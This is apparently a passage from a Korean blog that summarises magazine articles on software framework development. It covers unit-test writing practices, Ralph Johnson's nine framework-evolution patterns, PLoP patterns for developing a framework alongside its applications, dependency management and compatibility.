    • 메소드 파라메터 분석 : 역할은? 쓰이는가? 파라메터 체크하고 있나? 파라메터 값을 가공하나?
    • 메소드 내 분기문 분석 : 어떤 시점에 분기? 분기를 결정하는 변수는? 분기가 발생하는 시점의 변수값은?
    • 메소드 리턴값 분석 : 무엇을 리턴? 리턴값의 의미는? 언제 리턴값이 달라지지?
    • 테스트 구현방식 결정 예제
      • 프레임워크 : NUnit
      • Mock 라이브러리 : easyMock
      • DB 관련 통합 테스트 : xxx를 사용한 팀 자체 개발 테스트 케이스
    • Mock 라이브러리가 배포되었으면.. 이를 사용할지? 아니면 사용자 정의 Mock을 만들지?
    • 단위테스트? 통합테스트? 통합테스트는 DB접속 or 서버와 통신등의 환경시 어쩔 수 없이 사용
    • 테스트 데이타 선정 : DB data, DB Sequence....
  • 테스트 작성
    • 테스트 의도 명확히 드러내기
      • 고려사항
        • 메소드 명 길이에 연연하지 않는다 :
        • 메소드 작명 규칙을 정한다 :
        • 한글 메소드 사용도 고려한다
      • 방법
      • 메소드명 : test + 대상메소드명 + 테스트의도 
        (testCopyFilePathTypeIsYMD() ==> CopyFile 메소드 테스트시 path가 YMD..)
      • 주석 : 코드에 적절한 주석
      • 변수명 : 변수명에 테스트 의도를 드러냄
    • 예외 테스트
      • AssertThrows 사용 : sping에서..
      • try~catch 사용
    • – 테스트 케이스 수
      • 하나의 테스트 케이스로 여러 테스트 시나리오 구현하면, 코드 가동성 및 의도 파악에 좋다.
  • 테스트 코드 리팩토링
    • 반복적으로 사용되는 코드는 별도의 추상 클래스나 상위 클래스로 추출하여 코드 중복 제거



휴리스틱 프레임워크 리팩토링

  • 프레임워크
    • 특정 도메인에서 해결해야 하는 문제점의 공통적인 해결방법 구현체 및 디자인을 가져야 함
    • 일반적일 App 만드는 것보아는 오래걸림
    • 차후의 다양한 App 기능 예측..
    • 암튼 일반 App 만드는 것보다 계획적인 개발과 발전단계가 필요
  • 프레임워크 개발 방법론
    • 랄프존슨의 논문 : 일반적으로 9단계의 패턴 언어를 거치는 방법을 개발된다.
    • 1) Three Example : 세가지 애플리케이션 패턴
    • 2) White-box Framwork : 화이트박스 패턴
    • 3) Component Library : 컴포넌트 라이브러리 패턴
    • 4) Hot Spots : 핫 스팟 패턴
    • 5) Pluggable Object : 플러그러블 오브젝트 패턴
    • 6) Fine-grained Object : 파인-그레인드 객체 패턴
    • 7) Black-box Framework : 블랙박스 패턴
    • 8) Visual Builder : 비주얼 빌더 패턴
    • 9) Language Tools : 언어도구 패턴
  • 프레임워크 발전 단계의 한계

    • 미래에 만들어지게 될 App 기능을 예측 불가
    • 반복되는 오버라이딩(Hot Spots)으로 인한 수정사항 요구를 프레이워크 유지보수자는 분석해야함
    • 이전 프레임워크의 발전과정을 유지보수자는 알아야 효율적
  • 프레임워크 리팩토링
    • Hot Spots(자꾸 오버로딩해서 사용되는 놈)과 Frozen Spots(거의 그대로 쓰는놈)를 파악하여야 함
    • Graph-based Model(그래프 기반 모델)로 나쁜냄새 맡기
    • Control Flow Graph(제어 흐름 그래프)로 테스트 및 디버깅시 사용
    • Forward Dominance Tree(포워드 도미넌스 트리)로 영향을 주는 노드 찾기
    • Control Dependence Graph(제어 종속성 그래프)로 종속성 찾기
    • Data Dependence Graph(데이터 종속성 그래프)
 
posted by 방랑군 2012. 1. 4. 13:36

본 내용은 월간 마소에 실린 내용을 정리한 것입니다.
불펌을 금지하며, 문제시 삭제하겠습니다.


프레임워크

  • 한번 만들면 쉽게 바꿀 수 없이 모든 사람들이 사용
  • semi-complete application : 반쯤 완성된 애플리케이션

프레임워크 vs 라이브러리

  • 라이브러리 : 내부 control flow를 가지지 않은 소스들의 단순 집합
  • 프레임워크 : 컴포넌트간의 관계를 고려한 오버라이딩 가능한 control flow 제공

5가지 속성

  • 1. 조직 (Organization)
  • 2. 계획 (Planning)
  • 3. 아키텍처 (Architecture)
  • 4. 설계 (Design)
  • 5. 개발 (Development)
  • 6. 그밖에 : 산출물 가독성, 문서화, 네이밍룰, 프레임워크 매뉴얼

1. 조직

  • 조직을 먼저 구성하지 마라
    • 1) 비지니스 파악 : 도메인 전문가 or 구성원 전체가 모여서
    • 2) 관련된 프로세스 정제
    • 3) 프로세스에 맞게 IT 조직 구성
  • 방향 결정 : 고객 중심? 기술 중심?
    • 고객중심 : 시나리오에 초점
    • 기술중심 : 오래동안 사용가능하도록 아키텍처에 초점

2. 계획 (2가지 프레임워크 개발방식)

  • 땅콩버터 : 특징을 중심으로 골고루 구현하는 Bottom-UP 방식. 기능중심의 팀이 필요
  • 마천루 : 시나리오 중심으로 구현, 특정모듈에만 집중적인 개발이 됨

3. 아키텍처

  • 아키텍처 타입, API, 실행, 의존성을 고려해 Layering을 구축
  • 의존성 분석을 위해 xDepend 같은 툴을 사용

4. 설계

  • 메인 시나리오에 부합되는 코드 샘플 만들기 -> 객체 모델 정의
  • 프레임워크 설계 (디자인 스튜디오 등의 툴을 사용)
  • 큰 조직일 경우 일치성이 중요
  • ATAM과 같은 아키텍처 평가툴 이용해 품질 강화

5. 개발

  • 조직이 작다면 프레임워크 개발도 간단해야 함
  • 80/20룰을 적용해 효율성 고려
posted by 방랑군 2012. 1. 4. 13:35

본 내용은 월간 마소 2008년 11월호에 실린 내용을 정리한 것입니다.
불펌을 금지하며, 문제시 삭제하겠습니다.


생산성의 향상

  • 프로그램에서의 생산성 향상 방안 : 코드의 재사용
    • Function, Procedure 개념 지원 언어의 출현, 이후 객체지향 언어가 출현
    • 컴포넌트 사용 : 재사용을 높이고 검증된 코드를 사용하게됨 --> SW 품질이 높아지고 개발비용/유지비용이 낮아짐
  • 컴포넌트 재활용과 디자인 재활용
    • 객체지향 프로그램에서는..
      • 클래스 : 기능을 모듈화 & 추상화 지원
      • 추상클래스 : 객체간 프로토콜 일치 가능
      • 동적바인딩 : 프로시저 호출 지연 바인딩(Late-binding)
      • 클래스 상속 : 서브클래스에서 기능을 추가/보완
      • 다형성 : 객체의 기능을 교체
  • 랄프존슨이 말한 프레임워크
    • 추상클래스들의 집합과 상호 협조하는 클래스들의 인스턴스 동작방법으로 이루어진 재사용 가능한 디자인
  • 예제) 윈도우 애플리케이션용 프레임워크
    • 화면의 로직처리
    • 윈도우 그리는 컴포넌트
    • 통신 컴포넌트
    • 내부 정보 처리하는 도큐먼트 컴포넌트
    • 등등등..

라이브러리 대신 프레임워크 사용하는 이유

  • 라이브러리
    • 정의 : 해결하고자 하는 도메인 문제와 상관없이 재사용할 컴포넌트의 집합
    • 사용시 : 제공하는 메소드의 기능을 정확히 알고 있어야 함 (목적, 인자, 결과값)
  • 프레임워크
    • 정의 : 해결하고자 하는 도메인 문제에 특화된 인스턴스들이 함께 동작되는 컴포넌트 집합과 디자인
    • 사용시 : 필요한 지점에서 적절히 삽입하고 쉬운 사용, 세부적인 부분은 몰라도 됨
    • 프레임워크 = 반제품(Semi-Complete Application) : 적은 비용으로 App 만들기 위해 절반정도는 구현되어 있는 수준
  • 예제 : 신뢰성 있는 메시징, 트랜젝션 개발시
    • 라이브러리 : 각 라이브러리별 메소드를 알고, 개발해야 됨
    • 프레임워크 : WCF 쓰면 내부의 세부사항은 몰라도 기능 흐름만 파악하면 되며, 코드가 주어듬

좋은 프레임워크와 효과적인 사용법

  • 일반적인 프레임워크 사용방법
    • 1) 클래스의 서브클래스 생성
    • 2) 생성된 객체의 내부환경을 설정
    • 3) 프레임워크가 제시하는 표준 방법으로 App에 적용
  • 좋은 프레임워크의 요소
    • 효율성(Effectiveness) : 개발자에게 효율적이여야, 개발 속도를 빠르게 해야, 개발비용을 줄여야 함
    • 확장성(Extensibility) : 특정 도메인의 App 개발시 개발항목을 포괄하는 확장성을 가져야 함 (App이 삼각형 윈도우를 지원해야 한다는 식의 무리한 확장성은 포함 안해도 됨)
    • 적용규모(Coverage) : 구현사항을 어느 범위까지 적용할지?
    • 평이성(Simplicity)와 이해도(Understandability) : 교육이 쉬워야, 너무 복잡하거나 추상적이면 안됨
    • 통합성(Framework Intergration) : 다른 프레임워크나 라이브러리와 상호소통이 잘되면 좋다
    • 품질(Qualities) : 능률성,적용성,표준성.. 필수항목은 아닌듯

프레임워크 도입시 고려할 점

  • 필요이상으로 복잡해지고 코드나 객체가 커지면 안됨
  • 랄프존슨 : "원할하게 일할 수 있을 만큼 이 프레임워크가 쉽게 느껴지는가?"
  • 프레임워크 도입시 더 비효율적이 될거 같으면 때려치워라! (개발비용, 교육, 문서화 작업 등...)

프레임워크 만들기

  • 추상 개념을 먼저 생각하기는 어렵다.. 먼저 구현해 보자
  • 먼저 구현 -> 문제 해결 방법을 작은 집합으로 나눔 -> 구현체 중 컨텍스트를 인자화해 변경할 수 있도록 수정
  • 도메인 전문가가 만들때 : Up-Front 디자인 방식
  • 코딩 전문가가 만들때
    • 반복적인 구현을 통해 코드를 개선해 나감
    • 반복 개발시 Hot Spots과 Frozen Spots를 잘 구분해서 다음번 개발시 잘 구성하자
    • App이 다 만들어지면 이전 프레임워크와 비교하여 재사용성 부분을 반영
  • 구현클래스에서 추상클래스 유추하기
    • 구현클래스에서 일반적인 부분들을 뽑아서 추상클래스 만들기
    • 1) 공통 기능의 구현클래스 준비
    • 2) 구현 클래스의 공통 기능을 하나의 메소드로 옮긴다.
    • 3) 옮겨진 구현 클래스의 멤버로 있는 메소드의 이름을 동일하게
    • 4) 이름을 변경한 메소드의 인자, 리턴값을 동일하게 일반화
    • 5) 해당 메소드를 분리하거나 병합할 필요시 리팩토링
    • 6) 같은 메소드명이지만 다른 구현이라면 추상클래스에서 메소드명을 반영
    • 7) 구현 클래스의 메소드 내용이 같다면 수퍼클래스로 구현을 옮김
  • 상향식 설계
    • 하향식 : 구현 클래스 먼저 만들고 이를 바탕으로 추상클래스 만듬
    • 상향식보다 쉽다.
    • R = I + J = AX + AY = A(X + Y) --> 여기서 A는 공통부분
    • 필요한 설계 원칙
      • 의존 관계 역전 원칙(The Dependency Inversion Principle)
      • 인터페이스 분리 원칙(The Interface Segregation Principle)
      • 리스코프 치환 원칙(The Liskov Substitution Principle)
      • 단일 책임 원칙(The Single Responsibility Principle)
      • 개방 폐쇄 원칙(The Open-Closed Principle)

프레임워크 개발의 9 단계

  • http://st-www.cs.illinois.edu/users/droberts/evolve.html
  • 시간축에 따라 동시에 진행할 수도 있다.
  • 1) Three Example : 세가지 애플리케이션 패턴
  • 2) White-box Framwork : 화이트박스 패턴
  • 3) Component Library : 컴포넌트 라이브러리 패턴
  • 4) Hot Spots : 핫 스팟 패턴
  • 5) Pluggable Object : 플러그러블 오브젝트 패턴
  • 6) Fine-grained Object : 파인-그레인드 객체 패턴
  • 7) Black-box Framework : 블랙박스 패턴
  • 8) Visual Builder : 비주얼 빌더 패턴
  • 9) Language Tools : 언어도구 패턴
사용자 삽입 이미지


참고사이트


posted by 방랑군 2012. 1. 4. 13:35

본 내용은 월간 마소 2008년 12월호에 실린 내용을 정리한 것입니다.
불펌을 금지하며, 문제시 삭제하겠습니다.


은닉과 캡슐화

  • 은닉 ≠ 캡슐화
  • 은닉
    • 접근 지정자로 구현
    • 접근 지정자로 멤버를 숨기고, 멤버를 제어할 수 있는 인터페이스 노출하는 것
    • 객체를 인터페이스를 통해 노출시켜 동적 바인딩할 수 있게함
  • 캡슐화
    • class로 구현
    • 멤버와 데이터를 class라는 키워드로 묶는 것
    • 그냥 함수의 리턴값을 사용하게 되면 절차적 프로그램이 됨
    • class로 묶으면 데이터의 흐름을 메소드와 데이터로 묶어서 결합도를 낮춰줌

상속과 구성

  • 구현상속 : 부모것을 자식이 사용, 부모클래스를 잘 알고 상속받아야 함
  • 인터페이스 상속 : 인터페이스만 재사용

프레임워크의 구축

  • 조건
    • 확장이 가능해야 함.
    • 기능을 쉽게 대체시켜야 함.
    • 도메인 문제에 대해 추상적이고 필수 구현이 되어 있어야 함.
    • 간단하고 문서화가 잘 되어 있어야 하며 이해하기 쉬워야 함
    • 프레임워크의 작은 부분 전체를 재사용할 수 있어야 함.
  • 커뮤니케이션 중요
    • 프레임워크 개발자에게는 App 개발자가 고객임
    • 도메인 전문가나 해당 App 개발자의 조언 필요
  • 하향식 디자인
    • 도메인 분석 -> 추상화 -> 프레임워크 구현 -> App 구현하여 테스트
  • 상향식 디자인
    • App 구현 -> 계속 구현 -> 반복되거나 비슷한놈은 재사용되므로 프레임워크에 포함
    • 일반적인 개발 방법임

프레임워크의 발전

  • 프레임워크 = 반제품(Semi-Complete Application) : 적은 비용으로 App 만들기 위해 절반정도는 구현되어 있는 수준
  • 랄프존슨의 9가지 패턴을 사용하여 발전할것

사용자 삽입 이미지


1) 세가지 애플리케이션 패턴

  • 재사용 부분을 파악하는 일이 중요함 -> 미리 예측이 힘듬
  • 3개 이상의 App을 만들어서 재사용 모듈 파악
  • App과 프레임워크 동시 개발시
    • 일정 Fix시 : 다수의 팀이 나눠서 개발 -> 프레임워크 개발팀 산출물 기다리기 힘드므로 파일럿 프로젝트로 간략하게 살펴봐라
    • 인원 Fix시 : 단일팀이 개발
  • 다수의 App으로 코드를 일반화 할 수록 프레임워크 기능과 품질이 좋아짐. 초기버전이라 불안정하다는 우려도 없앨수 있음 (Pilot Application Pattern)

2) 화이트박스 패턴

  • 두번째 애플리케이션 개발시 시작하면 됨.
  • 첫번째 애플리케이션 만든 후 초기버전 프레임워크 기능을 확장시 "상속"을 사용하라
  • 상속 : 코드를 쉽게 재사용할 수 있게 해줌, 인터페이스를 사용하라. 없으면 구현클래스에서 유추하여 만들어라. 상속을 이용하여 기능 확장 구현을 반복한다.

3) 컴포넌트 라이브러리 패턴

  • 도메인에 특화된 문제의 해결방법이 프레임워크에 들어가지 않아야 함.
  • 재사용하지 않는 클래스는 프레임워크에 넣지않고, 애플리케이션의 구현클래스에 위치
  • 프레임워크의 재사용않는 클래스를 계속 리펙토링

4) 핫 스팟 패턴

  • 화이트박스 패턴으로 계속 추가하고, 컴포넌트 라이브러리 패턴으로 계속 제거 --> 기존 클래스와 추가될 클래스의 관계를 정의하면서 확장하여 중복을 막자
  • 핫 스팟 : 코드 변화가 활발한 부분
  • 화이트박스 패턴으로 자꾸 확장되는 놈은 데코레이션 패턴같은 놈을 사용하여 구현 가능.

5) 플러그러블 오브젝트 패턴

  • 구현클래스의 소소한 변경이 많으면 --> 프레임워크 커짐 --> 복잡도 증가 --> 프레임워크 사용 어려움
  • 객체 생성시 다양성 구분에 필요한 인자 사용 --> 객체가 인자에 따라 행동하게 개발
  • 인자 : 상수, 심볼, 클래스 래퍼런스, 인스턴스 변수, 함수 포인터, 함수자.....

6) 파인-그레인드 패턴

  • 간단한 API가 복잡한 API보다 사용하기 쉽다 --> Small Objects Pattern
  • 객체는 커질수록 --> 중복기능 많아짐, 중복코드 많아짐, 도메인 문제를 다룰려고 하는 경향이 있음. --> 리팩토링 대상임

7) 블랙박스 패턴

  • 애플리케이션은 요구변경에 유연해야 함 --> 클래스의 확장에는 열려있고, 수정에는 닫혀 있어야 함. --> 상속보다는 구성을 사용

8) 비주얼 빌더 패턴과 언어 도구 패턴

  • 비주얼 빌더 패턴 : 프레임워크 정리한 문서, 프레임워크 사용을 도와주는 툴 제공할것
  • 언어 도구 패턴 : 애플리케이션 점검 툴, 디버깅 툴 제공할 것 
posted by 방랑군 2012. 1. 4. 13:34

본 내용은 월간 마소 2009년 11월호에 실린 내용을 정리한 것입니다.
불펌을 금지하며, 문제시 삭제하겠습니다.



 

값 비싸고 어려운 프레임워크

  • 프레임워크를 사용한다는 것 : 기능을 재사용뿐만 아니라, 추상화 수준과 구조(Design)까지 재사용
  • 애플리케이션 만드는 것보다 비용이 많이 듬.

프레임워크와 애플리케이션을 동시 구축해야 되는 상황

  • 일반적으로 비슷한 애플리케이션을 개발후 프레임워크 개발하는게 좋음 (Three Examples 패턴)
  • ex) 보험회사 전산 시스템 = 건강보험 시스템 + 생명보험 시스템 + 손해보험 시스템 ==>
    재사용 부분이 보임 ==> 프레임워크와 애플리케인션 개발을 병렬적으로 진행 ==> 
    프레임워크 개발 적임자 선정 ==> Three Examples 이 없어서 난감함 ==> 
    프레임워크 설계가 힘듬 ==> 어떻게 하지????

프레임워크와 애플리케이션을 동시 구축하기 위한 패턴언어

  • 아휴.. 약어로 써야겠다.. 프래임워크 = F, 애플리케이션 = A
  • 2000년 PLoP(Pattern Language of Programs) 에서 F와 A를 동시 개발하기 위한 7가지 패턴을 발표
  • 1) Framelets for Multiple Use
  • 2) Budget Factor 2.5
  • 3) Two Pilot Applications
  • 4) Small Functions
  • 5) User Involvement
  • 6) Tests Based on Pilot Applications
  • 7) Double Change Request

사용자 삽입 이미지

1) Framelets for Multiple Use

  • F와 A를 동시에 구축하는 것을 어떻게 합리화 할껀가?
    • 프레임렛(Framelet) : 작은 F, ex) DB접근 F
    • Rule of Three
      • 재사용 가능한 SW 구축 기준
      • 최소 3번 이상 재사용이 보장되어야만 재사용 가능한 SW를 구축하라
    • 재사용 가능한 기능에 대해 팀별로 요구사항이 미묘하게 다르다.. 그럼에도 불구하고 비싼 비용으로 F를 만들어야 할까??
  • 심플할 수 있고, 3번이상 재사용될꺼면 F를 개발해라
    • 심플 : F가 할일이 많으면 사용자들의 요구사항 충돌할 가능성이 높아진다. 심플하게 가자
    • 3번 이상 재활용 : 3번 이하로 재사용될꺼면 비용 측면에서 F개발 안하는게 좋다.
    • 헐리우드 원칙 : don't call us, we call you. 의존성을 고려하자

2) Budget Factor 2.5

  • F 구축시 필요한 예산은?
    • F는 A보다 비싸다. 왜? 추상화 수준을 찾고 일반화 기능을 제공하기 어려워서..
    • F개발 뿐만 아니라, 유지보수, 교육도 책임져야 함.
    • F와 A를 동시에 개발하려면 A개발기간과 동일하다는 얘기므로.. 그동안 다 해야 한다. 시간이 모자라다..
    • F가 늦으면 A도 늦어진다.
    • 얼마의 예산이 있어야 F 개발이 가능할까나?
  • F예산은..
    • F개발 = 2.5 * A개발
    • 3 * A개발 = F개발 + 3 * F이용한 A개발
    • F이용한 A개발 = 1/6 * A개발
    • 충분한 실력을 갖춘 팀을 찾아라. 충분한 인원도..
    • Jim Coplien의 Size The Organisation 패턴 / Size The Schedule 패턴 참조할것.

3) Two Pilot Applications

  • F 요구사항을 어떻게 찾나?
    • 이미 구현된 A들이 있다면 : 차이점 제거하고, 공통된 추상화를 찾아라.
    • 이미 구현된 A들이 없다면 : Two Pilot Applications !!
  • F에서 사용할 Two Pilot Applications 찾아라
    • Two Pilot Applications은..
      • 매우 보편적인 요구사항을 가진 A
      • 핵심적인 F 사용자들과 밀접한 관계를 유지하는 중요 역할
      • 좀 더 일찍 개발해야 함.
    • A개발팀과 F개발팀이 같은 장소에서 개발하며 서로 피드백하자

4) Small Functions

  • F의 기능들을 인터페이스로 어떻게 나눌까?
    • "적은 수"의 기능으로 구성된 F의 이해가 쉽고, 기능이 "단순"할 수록 F 이해가 쉽다.
  • 기능은 많고 단순하게
    • trade-off에 따른 고민 : 개수는 적지만 크고 강력한 기능 vs 개수는 많지만 작고 단순한 기능
    • 개수는 많지만 작고 단순한 기능이 좋다.. 마치 뷔페처럼..
      • 이해하기 쉽다
      • 특정조건에 상관없이 사용자들이 원하는 기능에 부합될 가능성이 높다.
      • 기능들을 결합하여 사용자가 원하는 기능을 만들 수 있다.

5) User Involvement

  • F사용하는 A개발자에게 F의 확신을 심어주려면?
    • A개발자가 F 경험부족 또는 F 이해부족으로 실패시.. F의 문제라고 생각할 수 있다.
    • F는 유연성 & 효율성의 관계를 고려해야 함. 효율성이 중요하다면 성능이 잘 나오도록 F를 확장할 수 있도록 제공해야 함
  • F 사용하는 팀을 참여시켜라
    • 워크샵을 통해 F를 A에 적용하는 법을 교육
    • A쉽게 만드는 툴 제공 & 교육
    • F적용된 A 테스트 제공
    • F적용된 A 최적화 방법 제공
    • F의 튜토리얼 제공

6) Tests Based on Pilot Applications

  • F의 버그는 모든 A에 영향을 미친다. 어떻게 F를 신뢰성 있게 테스트 하지?
  • 회귀 테스트
    • Pilot Applications 에서 핵심적인 component를 찾는다.
    • Pilot Applications 에서 가장 보편적인 시나리오를 찾는다.
    • Pilot Applications 에서 적용한 테스트를 F가 변경된 경우에도 테스트한다.

7) Double Change Request

  • F에 새로운 기능을 추가해 달라고 하면.. 다른 팀에서는 안쓰는 기능일 수도 있다.. 심플하고 싶은데.. 추가하는 기준이 필요하다.
  • 기능 추가하는 기준 : 다른팀에도 물어봐서.. 적어도 2팀 이상이 추가 기능을 필요할 경우 수락하라.


'PP > Framework' 카테고리의 다른 글

프레임워크 개발의 이해와 시작  (0) 2012.01.04
프레임워크 구축과 발전  (0) 2012.01.04
프레임워크 엔지니어링  (0) 2012.01.04
C#용 Open Source 조사  (0) 2012.01.04
프레임워크 개발 정리  (0) 2012.01.04
posted by 방랑군 2012. 1. 4. 13:34
본 내용은 월간 마소 2009년 02/03월호에 실린 내용을 정리한 것입니다.
불펌을 금지하며, 문제시 삭제하겠습니다.
원문 출처는 아래와 같습니다.



더글라스 슈미츠 (POSA2 저자)의 프레임워크 정의

  • 프레임워크는 도메인 기반의 지식으로 구성된 객체 구조와 기능을 가지고 있는 "반쯤 완성된 애플리케이션"이다.

고려할 6가지 사항

  • 조직 (가장 강력한 설계 툴)
  • 계획 (프레임워크를 올바르게 구축하기 위한 계획)
  • 아키텍처 (오랫동안 사용할 수 있는 품질 좋은 프레임워크를 만들기 위한 고려사항들)
  • 설계 (품질을 보장하기 위해 고려할 사항들)
  • 개발 (프레임워크를 만들기 위해 팀플레이 시 고려해야 되는 사항들)
  • 그 외에 고려해야 되는 것들 (가독성, 문서화)

조직

  • 콘웨이의 법칙
    • 하나의 컴파일러를 만들기 위해 4개의 팀을 만든다면, 4단계의 컴파일러를 얻을것이다.
    • 팀 구조 ==> 소프트웨어 구조
    • 따라서 팀 구성전에 도메인 전문가 or 구성원 전체가 모여 프로세스 정제후에, 프로세스에 맞춰서 팀을 구성
  • 조직 구조에 따른 설계방법
    • 프레임워크 개발팀은 작고, 사용팀은 많다면 ==> 모든 요구사항 수렴 불가 ==> 80/20룰에 의거, 많이 쓰는 부분에 집중
    • 프레임워크 개발팀이 크다면 ==> 요구사항을 많이 들어줌 ==> 모듈간의 일관성 유지에 초점 ==> 프로토타입을 많이 만들고 피드백 받아야
  • 조직의 문화를 고려
  • 고객 중심의 회사 : End-2-End 시나리오 추출후, 시나리오 잘 지원하는 프레임워크 설계해야
  • 기술 중심의 회사 : 기술 변화를 쉽게 수용하도록 프레임워크 설계해야
  • 조직의 의사결정 매커니즘 고려
  • 개별적 맨 파워 중시하는 회사 : 빠른 의사 결정을 지원하도록 설계
  • 계층적인 조직구조의 회사 : 이질적인 의사 표현방법을 통합하고 상호 운용하는데 초점

계획

  • 땅콩버터
    • Bottom-Up
    • Feature들이 중심되어 S/W 만듬. 땅콩버터처럼 Feature들이 점진적으로 골고루 퍼지고 진화함
    • 새로운 소프트웨어 만들때, 하위 레벨의 프레임워크 만들때, 저수준의 라이브러리 개발시
    • 단점 : 고객요구 많고, 시나리오가 자주 새로워지면.. Feature별로 구성된 조직간 협업을 해야하고.. 시끄러워짐..
  • 마천루
    • 시나리오가 마천루처럼 높게 솟아 SW 기능 구현의 기준이 됨. 기준이 있다는 건 좋은거임..
    • Top-Down
    • 다양한 고객이 사용하는 상위레벨 애플리케이션 개발시
    • 단점 : 시나리오 기준이라 일괄적인 구조로 설계가 힘듬. 시나리오 수정시 속수무책.
  • 마일스톤 = 땅콩버터 + 마천루
    • 인프라 구축 초기에는 땅콩버터, 인프라 구축된 후 땅콩버터 유지하되 점진적으로 마천루 혼합
    • MS의 예 : 10개의 기능이 필요하면 2개 구현 --> 배포후 피드백 받음 --> 기존2개 수정, 새로운 2개 추가.....

아키텍처

  • 프레임워크 구축하여 여러팀이 사용중에.. 아키텍쳐를 변경하는것은 매우 힘듬. 첨부터 잘 만들어야 함.
  • 타입들
    • Primitive : 기본 데이타 타입 (Int32, String...), 모든 데이타의 가장 하단부에 위치하므로 변경에 따른 영향이 큼
    • Library (Component) : 풍부한 행위와 정책을 가진 타입(EventLog, Debug...). 쉽게 확장 가능. Component 구축시 매개변수로 Library를 받지 마라 의존성 생긴다.
    • Abstraction (Interface) : 추상클래스로 프레임워크의 확장성과 유연성을 제공. 프레임워크가 반완성이라는 말은 Template Method 패턴과 같은 Abstraction을 많이 사용한다는 얘기.
  • 의존성 종류
    • API Depenency (Surface Depenency) : 컴포넌트 A와 B간에 파라미터나 리턴값 등으로 사용시 의존성
    • Implementation Depenency : 내부적으로 다른 컴포넌트 사용시. 다른 컴포넌트가 없으면 돌지도 않음.
    • Circular Depenency : A가 B를 의존하고, B가 A를 의존. 가장 나쁜 경우임.
  • 의존성과 악연
    • 컴포넌트는 재사용의 단위보다는 "같이 배포되고 같이 진화하는 타입들의 집합의 단위".
    • 닷넷&자바 : 초기에 배포한 프레임워크에 라이브러리 기능 추가하지 않고, 베이스 클래스 라이브러리로 명명, 추후 별도의 라이브러리 추가
    • 의존성을 줄이려면 "계층화" 사용할것 ==> 연관된 컴포넌트는 하나의 레이어로 묶음 ==> 다른 레이어의 변화의 충격 완화됨
    • 참고 - Dependency를 관리하는 방법 :http://arload.wordpress.com/2008/12/07/ ··· gment%2F
  • Circular Depenency는 꼭 피하자
    • 상위레이어에서 하위레이어를 호출할 수는 있어도..
    • 하위 레이어가 상위레이어를 호출하면 안됨!!!! ==> 직/간접적으로 Circular Depenency 만들어진다.
    • ex) GUI --> 통신모듈 --> 오류시 try catch 문에서 MessageBox 표시 --> GUI 의존성..
    • 위의 경우 MessageBox로 보내지 말고.. Message Manager를 구성해서 의존성을 끊어라. 또는 Listener를 사용하여 IoC 구성하라
  • Dependency 깨는 IoC
  • Dependency 확인 도구 xDepend
    • JDepend의 닷넷버전. 상용 (초기버전은 무료)
    • 종속성을 그래프/다이어그램으로 보여줌. Circular Dependency 찾는 기능
    • CQL(Code Query Language)
    • http://www.ndepend.com 
  • 추가사항 : Visual Studio 2010의 의존성 다이어그램

  • 호환성 (Compatibility)
    • .net 3.0에서 .net 2.0으로 구현한 애플리케이션 안돌아가면 큰 문제. 기존2.0은 BCL(Base Class Library)라고 하고, WPF/WCF/WF 등을 추가함.
    • 정책적 or 급변하는 IT환경에 따라 호환성을 버릴 수도 있다. 이때는 마이그레이션 패스를 제공하라.
    • 버전간 호환성 (Cross-Version ~) : 동일한 제품의 다른버전에서 만든 코드의 호환성
    • 하위 호환성 (Backward ~) & 상위 호환성 (Forward ~) : 보통 하위호환성을 지원함..
    • 타제품간 호환성 (Cross-Redist ~) : 오라클 쿼리문을 MSSQL에서..
    • 바이너리 호환성 (Binary ~) : 예전 버전으로 만든 바이너리가 새버전에서도 컴파일 없이 잘 작동..
    • 소스 호환성 (Source ~) : 서로다른 버전이지만 소스코드 그대로 사용
    • API 호환성 : 서로다른 버전의 API간 호환성.


설계 (Design)

  • 메인시나리오 작성 ==> 시나리오에 부합되는 코드샘플 작성 ==> 개발자들에게 피드백하여 정제 ==> 객체 모델 정의
  • 프레임워크 디자인 스튜디오
    • 소개 : http://arload.wordpress.com/2008/10/11/introduceframework-design-studio/
    • Home : http://code.msdn.microsoft.com/fds
    • 사용법 : Add Assembly 사용하여 dll 또는 exe 추가 ==> Add Comment를 사용하여 사용자로부터 의견받음 ==> 수정 ==> Select Assembles to Compare를 사용하여 이전 버전과 비교 (빨:제거, 녹:추가, 회:상속)

  • 현실적인 프레임워크 구축하기
    • 모든 요구사항을 수용할 수 없다. ex) 빠른전송과 높은보안수준을 함께하기 구현하기 힘듬
    • 사용자 피드백을 취합해 가장 많이 요구하는 기능들을 우선순위로 정할것
    • Three Example Application을 구축/리팩토링하면서 안정화된 프레임워크 만들것.
  • 품질을 측정
    • 품질기준 사이의 균형 조절이 필요 (ex: 빠른전송 vs 높은보안)
    • ATAM : Architecture Tradeoff Analysis Method
    • 사용자들 모아놓고 품질속성(기능성, 신뢰성, 사용성...) 등에 대한 투표를 진행하라
  • 동일함의 힘
사용자 삽입 이미지

    • StyleCop
사용자 삽입 이미지



개발 (Development)

  • Feature 전담팀을 구성
    • 하나의 시스템 ==> 여러개의 Product Unit으로 나눔 ==> 각 PU에서 여러개의 기능(Feature)을 나눔\
    • 각 Feature가 완성시 기능/테스트까지 검증된 모듈을 얻음.
  • Quality Gate 구성 : Feature별 구현 완료의 기준이 필요함
    • 기능 스펙(Functional Specification)
    • 개발자 설계 스펙(Developer Design Specification)
    • 테스트 계획 (Test Plan))
    • 위협 모델 (Threat Model)
    • API Review
    • 아키텍쳐 리뷰 (Architectural Review)
    • 의존성 관리 (Dependency Management)
    • 정적 분석 (Static Analysis)
    • 코드 커버리지 (Code Coverage)
    • Testing (Unit and Integration Tests)
    • 0개의 Bug
    • 성능 (Performance)
  • 그외 고려사항
    • 네이밍룰
      • 파스칼 표기법 : PascalCasing - 첨에 대문자
      • 카멜 표기법 : camelCasing - 첨에 소문자
      • Uderscore 표기법 : SCREAMING_CAPS - 중간에 밑줄
      • 헝가리안 표기법 : sHungarian - 변수의 특성을 앞에
    • 약어 자제 : JLT(뭔 소리냐?), HTML(이건 다 아는거니까 봐줌)
    • 직관적 단어 : Count(일반적으로는 이거), NumberOfElement (XML에서는 이게 좋을것이다)
    • 상식에 맞게 : IFoo 는 당연히 인터페이스라고 누구나 생각한다.


프레임워크 매뉴얼 구축

  • 문서 로드맵(Documentation Roadmap) : 문서의 전체 구성 설명
  • 프레임워크 전체개요(Framework Overview) : 개요 및 도메인을 설명, 기능의 범위
  • 실례과 조리법들 (Cookbook & Recipes) : 특정 문제를 프레임워크로 해결하는 방안
  • 단계적인 예제들(Graded Example) : 어플리케이션 구축 방법 설명
  • 확장 포인트(Customizable Points) : 확장하는 위치 및 내부동작
